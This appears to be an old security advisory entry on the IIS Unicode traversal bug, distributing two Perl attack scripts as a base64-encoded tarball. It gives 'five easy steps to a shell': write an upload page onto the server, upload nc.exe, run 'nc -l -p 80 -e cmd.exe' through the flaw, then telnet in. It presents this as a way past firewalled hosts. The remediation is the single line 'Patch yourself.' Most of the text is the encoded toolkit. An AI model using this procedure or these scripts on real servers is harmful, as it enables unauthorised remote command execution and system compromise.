COMMAND
IIS
SYSTEMS AFFECTED
IIS
PROBLEM
Roelof Temmingh found following (assumes an IIS server vulnerable
for the Unicode bug). Tarball contains two PERL scripts:
1. Unicode upload creator (unicodeloader.pl)
Works like this - two files (upload.asp and upload.inc - have
them in the same dir as the PERL script) are build in the
webroot (or anywhere else) using echo and some conversion
strings. These files allows you to upload any file by simply
surfing with a browser to the server.
Typical use (5 easy steps to a shell):
1. Find the webroot (duh)
2. perl unicodeloader target:80 'webroot'
3. surf to target/upload.asp and upload nc.exe
4. perl unicodexecute3.pl target:80 'webroot/nc -l -p 80 -e cmd.exe'
5. telnet target 80
Above procedure will drop you into a shell on the box. This
procedure is nice for servers that are very tightly firewalled;
servers that are not allowed to FTP, RCP or TFTP to the
Internet.
2. Unicodexecute version3 (unicodexecute3.pl)
Same as before plus:
- includes searches for alternative executable dirs
- more robust, stable than before
- checks for access denied etc. added
Mimed code:
---
Content-Type: application/octet-stream; name="unitools.tgz"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="unitools.tgz"
Content-MD5: Metg2emASYFsPAkHyxdsAw==
H4sIAHFybzoAA+076XrbRpL5jaeogHZM2CR4SLYzlKhEB+VoVpa1Ip3sbphoQKApIgIBDgBK
5sSeZ9+q6sYp6rAlO8l87MQUga6r6+rqAnjS29573fvqs45Ws/nixTp8BTSa9Lf18nlTXQOs
v1xfA3jZXlt78bLVet7C6eb62vpX0Py8Yskxj2IrBPgqDIL4JrgwEF4w/hISfdGhvfXdOAi8
COowDkK4DMJz1z+DSzeewMFBHyIRXogwkjfiiQBEsANHwGh+ptXvMbR2s9lq4P/tdThh5cJA
TKfIfAKa1Pb3kfAjMQui2LSDqTaJ41mn0bi8vDSLEzdx0QZWOLI8sAM/tlw/go6mNU0YTNwI
Tnrbr3tay0zXNJ95geWAHQorRmVU5/I+3RShOfMMrZ0Bi3fCnscCSD1u4MNaCi8n1hhhzVRU
TSuaIUQkHKnLlqGtp3Oub5fmPk4sDX5Cw0XguecCreSSOePLAMauJyJEyCSwfCfPtA4T60Jo
4Mbg+mzfyJoKcNwQrIivj3snhxDZoTuLDbBCMrzrOQn0pRhR5GhQRcEsf3E5EQgivEgYMI/I
k4Q9CZhrFCBhNEOirygOcT4yNTSGiISS1fK84DKCRTCHOEhWjoR5GkYLDSJ3OvMWEM3Dceqp
FqAYl+irhMSrYLc1UTGDxcy10QFQux2oPgdhRYgci1lEsBZEE+GhBgH1ve+imLlVQdWZT4w6
eCJGtSxQSRGMO0MFATPrTER0JTWArjETITLKWwcwu5yJuPNtE55ch/pEA/QSWg9LzwiNpSYD
3zbRuzRYL/LKHO4u/IZkdw/qM0CoOtpk6hBVFOO5CbHwfFyuJIMAqMHtUXAhYBYGtnDmaN1L
1/PACYMZW8n1MzVCIL1iFLzT2DDBPEa3taIJWSqzC1SfXro++qsVQ08sxFMDvUCDN2P0D+JA
dKfu2SSGS8uPc44Q0BLgLAgcl3wF0xJy1SBkWGsc46RUEaWzyLZ8/h4JMUVoxgN0R9cW0DGI
I6eBbGV44dMkZcIk8cUTFJL8Hq8WEBMnD71w7IbiEp1VOBtXQX30HXZkDGgUfn9wXIOT3WNA
sgO80BIvPfBRYlQ3+elREKODnrtOVIOZh14qODRR7Kck91PwguCcFEaIMgMLlFMqC52bQrhT
/0WD13TT9ccBWSNJIYhH6y2kUHseuvFiHNjziNJo48IZNUZBHAdTcxJPve8QIsZA7Yp3qHw3
/ubCdbqtb5svNBxZHixmweVJUIM6Jhtv7qDRImGFNgY8K9nySAFW7F4k+dQaeZx+IsSZ0krC
YIR7dA1DlqdQx75aOUIgIftckbJtEUXgCN9FrVuOIxwEiCf+O9L26x8YKBZRzEkpttnj3kYY
GGR2znoW+YK4cIN5lKyno10fY7MgjOEJam6KEfqkYEJ0vwey4UMb7rjfwjQok5NR3Dm1A7Cm
lIdEJp/N2oan6OKkFm/xFIJZ7E7dfwnHhFcBa9WNv/5aQw1jjow6oPcx7D3HfyKXmTgI2hTF
CjCGLC8KiKhlwCUuhM06MmA2H3kuphEHvtO1VxSqswCTi2lOptOpaZqpCDkJ6C4mJIq7A5gK
y/+ONhOf9engjq+JC7xiG6ATRDNh5/O7Cdv+IvBVvNP2RJvdd6SkNipJSV7SUl37iTgUCqWr
LkI52wtwPlu2jy6GsY2iaRFriC2uo68I8ww6oGm3p3Q7mC1AP+sMR541Af7AtURDmd9l6tPB
7qivT8jiN9Z/5VLic9SYN9f/rfX1tZeq/n/RXm838Vb75fqLVf3/JUbl68Y8Chsj12+w92mV
5UOrXFON4gT+f6/qkwjcp/gk/HuUn5WPqj+J2UdVoKyfOxahlXtXoZX7lKGVj61DK5+pEK0s
rURZk59WjFY+thqtfHIxWvnEarTyycUoqSVfjvpXK06gpeMJG+uLOkkqCD8mPVDsRWB7rvBj
3Ny2Ep2g8ri++baJykCg+xemFZjmq5qHqWhItJsaCWiNZa2EClzbTCCKx/0OuGPpIpx8MLiF
hR6Chkl8hzMRXQQSUDoFao5cHGnQIA2ovR4jUcTkjFQuXJsQsZKcoxUX16Xhew5NI3v0A/tc
xBuaNl3AoxAjdwPoGy4CM+8GPHrfbW1owQyLnOp2/7imZ+LqBrx/j/kZy5ZdrvHQqQguWz8v
ilLl0NcTIgdHuykRXOQdiJAqUiIVKNZfru/GGlqn+qiyffLqx82WAb8zNS7mO6XEd3As63SV
TIniB1p49dEELV57RJNGN5p5blxtdBq174nmz81fjA1Wj8o+XXRbEZ/ihudLRDXtBbbFjinR
Wr9saDP0kBj0ob9LGyQ5iFwU7xRiRN5BwcVU0ihjMcyhP8ilfQzLlD5OLdPFONkq7CCkMlNt
aiTa96iGqFvV9Ib04Khhmo/t5mNrbJoNTHd+3IgWuANN19oNlXe/a9h6DRGmkeXYefDlX28m
Yp+5daoqMoTb/t5CEEsDzD7RwxF0XVzndHbpPBzJ04vYPbX98QNTfFA9Ws6DalIFAmUR+ksV
AGcRunDm0+lCfvUwfjY02hYse8LgUGUXNX7XQIVMcjjPjkwEx35PNL4PRTT34qiL+doJrcuq
/qo3YJBnVDH+MBgcN1pmcxhirOA/kgxShsQfOSoSxBQ4hfD97r+hsZcwbWA6wdmqlL6WrCjN
ESkgJf5GjSkYG5jsESldP5GMGsOw0TjbWHLfT+6zDLm5BhB7lYq7+uN2WzdTnX4gDC5uM5Di
ZHKXmEDjcbup2CgFj61wiimRClU/03InQZOaBrkndNmkWKRgvTOeh1TqEI8P2geNk62POZuO
35h4FqZJDa+LOdZrIZ3mmZCmsDpapdSTJzvTylUZJd65UUyFN5rKWbA3Wd1/XE5ctJs7xop9
7J79Y4MqpekMpzZAgiDMIwvq1hzew1koZlB3cfuMztPLCzpHmk38r4X3Jkgc6j60kBQh/5s0
ROopeFPDt+ZYUy1OURbvFOHy3kRsVbcn79TSj1SizhlRgXZ1sq20ZJrO2bKkT2XNAmwOEEHS
OZb4GYl8fTCQ5Z4lGHnZbwiEYhxk23gj2VfTysblQxnWcMpWpim30w9X9ujExJgosFiMsCLE
Dd4OZq5wOqzHsYXbu0OFRk6rcvnKG1lD91j90oSwJBXdphDZUEyVYdMZwKFDBsmqDqJZxsKD
L35GeNqwJyqXRViEk/asMJijUVhjJR5ZBYrhTKxUwBbuYzJDfCoZZB4mSqkim9IMRStciqT6
5L6Ryyah4yOFK1syZ4s2GYPFUiS7VFhBmp2LshAFKQ8fTKOUwz/nrn0uM0lmVp60O8Mh7yPD
YbKRDIdqJ0lT0LDARvoALHGC/IbQ/mg3SKO3Xd4j2pkrtNNdoqqmyFTSiRtgUIgnmmty+i2D
Ks9hUPadYosaEyvrhSPqrn6TuE7CuZtWv0wLt6Td13sgZ5Go61PPM07PFZ2hny6PS8oPG9oH
KIUvVqDc97WiaD4V8szJRaaylRupUIZxGExZftNkT5pZ8WRDS7dOuszX1srIaACeUpvhsDFs
JHGNlqOVJzg4UWNzZlUGbW8JGNfbcrfSG5g15W1TL8YTVSlpWZ7V4ni0AXWs7LC/4o7jYSbY
xIktrgF4x0EHiRrVnzd//WbrF6Px66MWikpSP8bt9bn6vtV4vCbYK/FiEy9sOVH9efiuuYf/
thFVwXZx2klgv0EiL9TEM/w+4olbNxTuaT06ha2tK/vKcJgl8GSPubLJ5PBT1DyixCpGXVpM
fHLuTcsQk8uMm0qzm1Mw1xw1uBJN9DBB5I6RfBJXccOFi+0FqAg61KI4eBymVEgbvbeA3+ZR
nHUgVfcxfRgU+CI712UuxI/wjnZTN4IqNz+n1gJi65w6JOxTRsG9EOGLu9dn8C88on+af1EH
gLCWu9d9Nve8f6XGRnUbG2XjsWfIDjY9xqJMeBRc5vu65E98RC83QIX/W7Dguichus99Y+5D
jtI2EDtktnguiEtFUuRR+24B08Bxx+TCJ/uUkXjNWjQfJd95E+aOxQyP90b3+1OyLvdwqv3a
8f7pwVFvUOu/2f2v0/6AXmmpnYl4FmLhPlrQM6fqk9iePTHev28mjZeqLltA1GzEcn0aKf25
4yqW2z56MxKeWfY56H1/e/3dt3qtLTslNdUQMThMyViu39U5niPhMaKhOkjKGiw0zbP/Vzf7
W7KqwGwwjyaEX3t0ugGeJQtGGfXkk7/+THb95dkj3EDZyxIGg703bwfIJRTxPPSJApL/oJxQ
Lk+torg+kIVqf+birjq1wvMOpPuEY8VWsXGkabc+O/tPGFf69p+Bxy3v/718/vK5ev73fO15
q43Ta831l6vnf19ilJ7/Xdt3huwBYOmFD35497HvdlSSJwlXnh3Uc89bMJ1iLsY8wi/GURnK
QX6g3u6owC2vf1Tgptc/5JpufwGkcuc3QJLnJNnbH7c/GjFN86/0cOSOjxZuerLwif18pf20
oZ80OR62oY+iJnVJ1tK/reueHv+LjffP0GB+kNb8Rz8Q+PP38leN91Xj/fM13pf21W/vxv/B
XfePbcn+eZvuhWbxp/SI/no95idxUtFY/MLLX6XD/OAN5VUrmUClL/wBrWSz9z+9v2Y7+Y59
4XzFl+9E3Rj+Gc5Sn/jUuP+ExuYH1YVKeFCbaUmXyVveZoJin+k/rc30Z+4yrf05uktZd/Pz
8bil/wMv2y/T/k/z+RpOt563V7///CJjkzoIW5tUqG1txm7sia03nju2/JjeUqM9A6NvJJzN
hpzcbEjQUeAstrRNzHRTmIp4Ejhd8nDoHe0O/ve419WnmI3cmRXGDYKpk+vrWxr1yqEDm64/
m+MusJiJrk4v+un864gu99JbOpIPkXgeCPPU1I11OGKwbW546HBheXO8fCuzIiVIJoa4zJX+
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
-----
SOLUTION
Patch yourself.